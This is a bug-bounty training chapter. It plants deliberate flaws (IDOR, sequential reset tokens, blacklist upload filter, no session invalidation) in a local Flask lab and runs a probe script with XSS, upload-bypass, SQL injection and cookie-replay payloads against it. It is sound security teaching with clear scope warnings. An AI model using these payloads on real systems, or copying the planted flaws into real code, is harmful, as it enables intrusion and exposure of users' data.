Step 316. Vulnerability Discovery — A Systematic Feature-by-Feature Approach
Level 4 — Bug Bounty | Difficulty ★★★★☆ | Estimated time: 3 hours 30 minutes
Prerequisites: you have finished Step 315 (attack surface map). You know the Level 2–3 web vulnerability concepts (IDOR, XSS, upload bypass).
- What you need: Python 3, Step 315’s mock lab (
app.py) + this chapter’s extension code,requests. - ⚠️ All exercises in this chapter are for your own lab and legal platforms only. Applying them to unauthorized systems is a crime.
- Caution: in real-world bug bounty, every test is performed only between test accounts you created yourself, and only inside the program’s scope and rules. The moment you access another user’s data, it’s intrusion.
A beginner bug hunter’s biggest misconception is "run a scanner and vulnerabilities come out." What scanners find is what everyone has already found. Valid bugs appear when you understand an application’s features and find their gaps — "if I change this number, do I see someone else’s data?", "does this cookie still work after logout?" Today you build a feature-by-feature checklist and measure its operation in the local lab.
1. Learning Objectives
By the end of this chapter, you will be able to:
- Explain why "scanner dependence" is a beginner’s trap
- Build a testing checklist by feature unit (auth · search · upload · API)
- Execute the procedure for verifying IDOR with 2 test accounts (A/B)
- Organize findings into a "candidate list" (feature · reproduction path · expected impact · verification status)
- State the normal way to cope when discovery turns up nothing
2. Background Knowledge — Today’s Tools and Concepts
Today’s Tools at a Glance
| Category | Details |
|---|---|
| Language/environment | Python 3, Flask mock lab, requests sessions |
| Today’s tools | (hands-on) feature-by-feature checklist script hunt.py, (concept intro) Burp Suite proxy |
| Concepts needed | IDOR, reflected XSS, session invalidation, extension bypass, authorization bypass (all Level 2–3 review) |
| Today’s deliverable | 1 candidate_list.md — feature / reproduction path / expected impact / verification status |
2-1. Why the Feature-by-Feature Approach
A real service is organized not by "vulnerability types" but by "features" — signup, login, search, upload, orders, API. A scanner finds only known patterns, but it can never find business logic gaps ("what if I skip the payment step?", "what if I change the order?"). The area with the fewest competitors is exactly this logic-bug territory.
So the procedure goes like this. ① First, use every feature like a normal user (in the real world, every request gets recorded through a Burp Suite proxy). ② For each feature, run a "vulnerabilities common to this feature" checklist. ③ Write findings into the candidate list.
2-2. The Feature-by-Feature Checklist
The minimal list we practice today. Each item is the real-world version of a vulnerability you learned in Levels 2–3.
| Feature | Test | What to check |
|---|---|---|
| Auth/session | Reuse the old cookie after logout | Whether the session is invalidated server-side |
| Search/input | Reflected XSS payload | Whether output is unescaped |
| Upload | Extension bypass, SVG | Whether there’s only a blacklist |
| Admin page | Direct request with a normal account | Whether authorization is checked server-side |
| API | Changing the numeric ID (IDOR) | Whether ownership is verified |
| Password reset | Issuing tokens in sequence | Whether tokens are predictable |
2-3. The Test-Account Principle
The absolute rule when running this list in the real world: all verification happens only between 2 accounts you created (A, B). Checking "is B’s data visible from A" and "opening some unknown third party’s data" are completely different — the latter is intrusion the moment it happens, and a violation of most programs’ rules.
Keep the PoC (proof of concept) minimal and stop immediately. "Scraping 100 people’s data to prove it" is not a report — it’s an incident.
2-4. The Candidate List — Discovery’s Deliverable
Discovery’s result is not vulnerabilities but a candidate list. Each entry needs four boxes — feature, reproduction path, expected impact, verification status (unverified/partial/confirmed). A "list of features confirmed clean" is also an accumulation of skill. Bug bounty is a probability game, so turning up nothing after days of discovery is normal.
3. Follow Along
3-1. Extending the Lab — Planting Features to Test
Add today’s test-target features to Step 315’s app.py. Three into make_www(), and replace make_api().
Add inside make_www():
@app.route("/logout")
def logout():
session.pop("user", None)
return "You have been logged out"
@app.route("/upload", methods=["GET", "POST"])
def upload():
if request.method == "GET":
return "<html><head><title>File Upload</title></head><body></body></html>"
f = request.files.get("f")
if not f:
return "No file", 400
name = f.filename or ""
if name.lower().endswith(".php"):
return "Extension not allowed", 403
return f"Upload complete: {name} ({f.content_type})"
@app.route("/profile")
def profile():
u = session.get("user")
if not u:
return "Login required", 401
info = USERS[u]
return jsonify({"user": u, "email": info["email"], "phone": info["phone"]})
Replace all of make_api() with:
PW_RESET_TOKENS = {} # add near the top of the file
def make_api():
app = Flask("api"); app.secret_key = "api-secret"
@app.route("/api/v1/login", methods=["POST"])
def login():
u = request.json.get("user", "") if request.is_json else ""
p = request.json.get("pw", "") if request.is_json else ""
if u in USERS and USERS[u]["pw"] == p:
session["user"] = u
return jsonify({"ok": True, "user": u})
return jsonify({"ok": False}), 401
@app.route("/api/v1/health")
def health():
return jsonify({"status": "ok", "version": "1.4.2"})
@app.route("/api/v1/users/<int:uid>")
def get_user(uid):
# vulnerability candidate: checks login only, no ownership verification
if not session.get("user"):
return jsonify({"error": "login required"}), 401
for name, info in USERS.items():
if info["id"] == uid:
return jsonify({"id": uid, "user": name, "email": info["email"],
"phone": info["phone"], "addr": info["addr"]})
return jsonify({"error": "not found"}), 404
@app.route("/api/v1/password-reset", methods=["POST"])
def reset():
u = request.json.get("user", "") if request.is_json else ""
if u not in USERS:
return jsonify({"ok": False}), 404
token = str(100000 + len(PW_RESET_TOKENS)) # vulnerability candidate: sequential numbers
PW_RESET_TOKENS[u] = token
return jsonify({"ok": True, "hint": "We sent a token by email"})
return app
How to read it: vulnerability candidates are planted in the lab — finding where is today’s training. Start the lab with python app.py and proceed in terminal 2.
3-2. The Checklist Script — hunt.py
Transcribe 2-2’s table straight into code. Testing happens only between the lab accounts alice (A) and bob (B).
import requests
WWW, DEV, API = "http://127.0.0.1:5001", "http://127.0.0.1:5002", "http://127.0.0.1:5003"
XSS = "<img src=x onerror=alert(document.domain)>"
def line(t): print(f"n=== {t} ===")
line("T1. Auth — reusing the old session cookie after logout")
s = requests.Session()
r = s.post(f"{WWW}/login", data={"user": "alice", "pw": "alice-pass!"})
print("Login:", r.status_code, r.text.strip())
old_cookie = s.cookies.get("session")
s.get(f"{WWW}/logout") # perform logout
replay = requests.Session()
replay.cookies.set("session", old_cookie) # reuse the old cookie as-is
r = replay.get(f"{WWW}/profile")
print(f"old cookie -> /profile -> {r.status_code} {r.text.strip()[:80]}")
print("Verdict:", "session reusable — no server-side invalidation (candidate)" if r.status_code == 200 else "blocked")
line("T2. XSS — search-box reflection test (in my session only)")
r = s.get(f"{WWW}/search", params={"q": XSS})
hit = XSS in r.text
print(f"payload reflected: {hit}")
print("response excerpt:", r.text.strip()[:110] if hit else "(escaped)")
line("T3. Upload — extension bypass attempts")
for fname, ctype in [("shell.php", "application/x-php"),
("shell.php.jpg", "image/jpeg"),
("xss.svg", "image/svg+xml")]:
r = s.post(f"{WWW}/upload", files={"f": (fname, b"<x/>", ctype)})
print(f" {fname:15s} -> {r.status_code} {r.text.strip()[:60]}")
line("T4. Authorization bypass — normal user requests dev's /admin directly")
r = s.get(f"{DEV}/admin")
print(f"/admin -> {r.status_code}, console exposed: {'Admin' in r.text}")
line("T5. IDOR — reading B's resource with A's session")
a = requests.Session()
a.post(f"{API}/api/v1/login", json={"user": "alice", "pw": "alice-pass!"})
r_mine = a.get(f"{API}/api/v1/users/1001") # alice herself
r_bob = a.get(f"{API}/api/v1/users/1002") # bob — someone else's resource
print("Mine (1001):", r_mine.status_code, r_mine.json())
print("B's (1002):", r_bob.status_code, r_bob.json())
print("Verdict:", "IDOR confirmed — others' data exposed" if r_bob.status_code == 200 else "blocked")
line("T6. Password-reset token predictability")
a.post(f"{API}/api/v1/password-reset", json={"user": "alice"})
a.post(f"{API}/api/v1/password-reset", json={"user": "bob"})
print("2 tokens issued — server-side tokens: 100000, 100001 (sequential numbers, predictable)")
Input:
python hunt.py
Output (measured 2026-09-09):
=== T1. Auth — reusing the old session cookie after logout ===
Login: 200 Login successful: alice
old cookie -> /profile -> 200 {"email":"alice@lab.local","phone":"010-****-1001","user":"alice"}
Verdict: session reusable — no server-side invalidation (candidate)
=== T2. XSS — search-box reflection test (in my session only) ===
payload reflected: True
response excerpt: <html><head><title>Search Results</title></head><body><p>'<img src=x onerror=alert(document.domain)>' search results: 0</p></bo
=== T3. Upload — extension bypass attempts ===
shell.php -> 403 Extension not allowed
shell.php.jpg -> 200 Upload complete: shell.php.jpg (image/jpeg)
xss.svg -> 200 Upload complete: xss.svg (image/svg+xml)
=== T4. Authorization bypass — normal user requests dev's /admin directly ===
/admin -> 200, console exposed: True
=== T5. IDOR — reading B's resource with A's session ===
Mine (1001): 200 {'addr': 'Gangnam-gu, Seoul (fictional)', 'email': 'alice@lab.local', 'id': 1001, 'phone': '010-****-1001', 'user': 'alice'}
B's (1002): 200 {'addr': 'Haeundae-gu, Busan (fictional)', 'email': 'bob@lab.local', 'id': 1002, 'phone': '010-****-1002', 'user': 'bob'}
Verdict: IDOR confirmed — others' data exposed
=== T6. Password-reset token predictability ===
2 tokens issued — server-side tokens: 100000, 100001 (sequential numbers, predictable)
3-3. How to Read the Output — Selecting Candidates
Five of the six tests came out as "candidates." Read them one by one.
- T1 session reuse: you logged out, yet the old cookie still works. It means the server doesn’t invalidate sessions — candidate.
- T2 XSS: the payload reflects as-is, unescaped. Reflected XSS — candidate.
- T3 upload:
.phpis blocked, butshell.php.jpgand SVG pass. The limit of the blacklist approach — candidate. - T4 authorization bypass:
/adminopens without login — candidate. - T5 IDOR: B’s address and phone number come out with A’s session — today’s top candidate.
- T6 tokens: sequential numbers are predictable — candidate.
Priority goes by impact — others’ data access (IDOR) > auth bypass > stored XSS > the rest. That’s why T5 is first.
3-4. Writing the Candidate List
Make candidate_list.md.
# Candidate List — lab.local / Date: ____
| # | Feature | Reproduction path | Expected impact | Verification status |
|---|------|-----------|-----------|-----------|
| 1 | API user lookup | GET /api/v1/users/1002 (A session) | Reading others' personal info | Partially verified |
| 2 | Logout | Reusing the old session cookie | Permanent access if session is stolen | Partially verified |
| 3 | dev /admin | GET http://127.0.0.1:5002/admin | Admin feature exposed | Partially verified |
| 4 | Search box | ?q=<img ...> reflected | Reflected XSS | Partially verified |
| 5 | Upload | shell.php.jpg / xss.svg pass | Bypass upload possible | Unverified (execution not confirmed) |
| 6 | Password reset | Tokens 100000→100001 sequential | Possible account takeover of others | Unverified (token use unconfirmed) |
How to read it: all of these are "candidates," not yet "vulnerabilities." "It reflected" and "the attack works," "it passed" and "it executes" are different things. In the next step (Step 317), you verify these candidates one by one — confirming or discarding each.
4. Missions & Exercises
Mission — Complete the Candidate List and Assign Priorities
- Extend and start the lab, run
hunt.py, and save the full output - Complete
candidate_list.mdin the 3-4 format — all 6 entries - Assign each candidate a priority (1–6) and write two lines on why you picked #1, from the "impact" perspective
- Add 1 test to the checklist — e.g., a basic SQL injection payload (
' OR '1'='1) on the login form — run it and add the result to the list
Exercises
Exercise 1. Explain why scanners can’t find business logic bugs.
Exercise 2. In T3, shell.php was blocked but shell.php.jpg passed. Explain the structural limit of the blacklist approach.
Exercise 3. Explain why IDOR verification needs 2 accounts, and why those 2 must be "accounts I created."
Exercise 4. Give two reasons why "turning up nothing after days of discovery is normal."
5. Model Answers & Completion Criteria
Mission Model Answer
Example priorities: 1st T5 (IDOR — others’ personal info is immediately exposed), 2nd T6 (token prediction — can lead to account takeover), 3rd T1 (no session invalidation), 4th T4 (admin page exposed — limited to the dev environment), 5th T2 (reflected XSS — requires a victim’s click), 6th T3 (upload bypass — execution not yet confirmed).
Example reason for #1: "T5 exposes someone else’s address and phone number immediately, with no extra conditions. Unlike XSS, it doesn’t require a victim’s action, and a single request proves the impact — so it most likely corresponds to an upper tier in the reward-tier criteria."
How to verify: ① is the full output saved? ② are the 4 boxes filled for the list’s 6 entries? ③ is the priority rationale written in terms of "impact"? ④ was the added test performed only within accounts A/B?
Exercise Answers
Answer 1. A scanner is a machine that finds "known patterns" — known vulnerable versions, reflections of known payloads. A business logic bug is the breaking of a rule unique to that service ("an order is created only after payment"), and the scanner doesn’t know the rule itself. Only a person who understands a feature’s intent can discover "this order must not be out of sequence." That’s why the logic-bug area has no competition.
Answer 2. A blacklist is an approach that builds a "list of bad things" and blocks them. Bypass forms not on the list (shell.php.jpg, case variations, double extensions) all pass. Enumerating every bad thing is impossible, so it’s structurally pierced. The alternative is a whitelist — "enumerate only what’s allowed (jpg, png) and reject everything else."
Answer 3. IDOR’s definition is "accessing someone else’s resource with my authority," so you need two resources — "mine" and "someone else’s." That’s why 2 accounts. And if that "someone else’s" is a real third party’s data, the verification act itself becomes intrusion. Data of account B, which I created, has its owner’s (my) consent, so impact proof and rule compliance hold simultaneously.
Answer 4. First, bug bounty is a probability game — popular features have already been verified by countless hunters, and the density of remaining vulnerabilities is low. Second, a "list of features confirmed clean" is not wasted effort but the map for the next round of discovery — you need to know where you’ve looked to return with a new angle (a different subdomain, a mobile API, hidden paths in JS). Discovery records are skill.
Completion Criteria Checklist
- [ ] I can explain the trap of scanner dependence and the reason for the feature-by-feature approach
- [ ] I extended the lab and ran all 6
hunt.pytests - [ ] I measured that T5 IDOR holds with the two accounts A/B
- [ ] I measured the bypass of blacklist upload blocking
- [ ] I wrote 6 entries and priorities in
candidate_list.md - [ ] I can explain that "candidate ≠ vulnerability"
- [ ] I confirmed every test happened only between test accounts
6. Common Pitfalls & Fixes
Wall 1. ConnectionRefusedError — the lab isn’t up
Symptom:
requests.exceptions.ConnectionError: ... [Errno 10061] 대상 컴퓨터에서 연결을 거부했으므로 연결하지 못했습니다
Cause: app.py isn’t running.
Fix: check the lab is alive in terminal 1. If you changed code in 3-1, you must restart the lab for it to take effect.
Wall 2. T5 returns only 401
Symptom: {"error": "login required"} repeats.
Cause: you logged in and queried with different sessions — the session cookie wasn’t shared.
Fix: make one requests.Session() and use the same object for login and lookup. Cookies are stored on the session object.
Wall 3. T1 comes out "blocked"
Symptom: reusing the old cookie gets a 401.
Cause: your lab code may be an old version — or the server really invalidates sessions (in which case that’s proper security).
Fix: this chapter’s mock lab uses client-side signed cookies, so there’s no server-side invalidation and reuse works (measured 2026-09-09). In the real world, a "blocked" result means that feature is safe — move on to the next item.
Wall 4. The moment I find a candidate, I want to confirm "more" impact
Symptom: IDOR works, so you want to request dozens more IDs.
Cause: curiosity is natural, but that’s not verification — it’s collection.
Fix: 1 case is enough for impact proof (details in Step 317). In the real world, bulk reading of others’ data is not a report — it’s a breach incident. Get "once proven, stop" into your hands.
Wall 5. Feeling empty when nothing comes out
Symptom: days of real-world testing produce no candidates.
Cause: that’s normal — vulnerability density is low to begin with.
Fix: leave the "list of features confirmed clean" as a document. And change your angle — a different subdomain, a mobile API, hidden endpoints found in JS. Scanners can’t find logic bugs, so that side has no competition.
7. Summary
Today’s Concepts
| Concept | One-line explanation |
|---|---|
| Feature-by-feature approach | Run the checklist by feature unit, not by vulnerability type |
| Business logic bug | The collapse of a service’s own rules — the area scanners can’t find |
| Test-account principle | All verification only between my own accounts A/B |
| IDOR verification | 1 of B’s resources with A’s session — stop immediately on success |
| Candidate list | A 4-box document: feature · reproduction path · expected impact · verification status |
| Priority | By impact — others’ data access > auth bypass > XSS > the rest |
| The "clean list" | What didn’t come out is also accumulated skill and the next discovery’s map |
Today’s Commands & Code
| Tool | What it does |
|---|---|
requests.Session() |
A cookie-preserving session — the basis of logged-in-state testing |
session.cookies.set("session", old_value) |
Old-cookie reuse test |
params={"q": payload} |
Check XSS reflection |
files={"f": (name, content, type)} |
Upload bypass test |
GET /api/v1/users/<id> |
IDOR — changing the numeric ID |
The Core Instinct
Today’s real deliverable is not vulnerabilities but hands that operate a checklist. Use the features, run the list, write the candidates, assign priorities — once this loop sticks to your body, you won’t be shaken by any service you meet. And remember — a candidate is not yet a vulnerability. In the next chapter, these candidates go up on the judgment stand, one by one.
Once every box is checked, Step 316 is complete.